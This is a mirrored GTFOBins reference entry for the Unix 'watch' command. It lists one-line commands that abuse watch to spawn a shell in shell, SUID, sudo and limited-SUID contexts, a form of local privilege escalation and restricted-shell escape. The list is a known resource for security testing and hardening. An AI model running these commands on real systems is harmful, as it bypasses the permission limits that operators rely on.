1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 16:26:01 +02:00
GTFOBins.github.io/_gtfobins/watch.md
2018-10-05 18:55:38 +01:00

362 B

functions
shell suid sudo limited-suid
code
watch -x sh -c 'reset; exec sh 1>&0 2>&0'
description code
This keeps the SUID privileges only if the `-x` option is present. ./watch -x sh -c 'reset; exec sh 1>&0 2>&0'
code
sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
code
./watch 'reset; exec sh 1>&0 2>&0'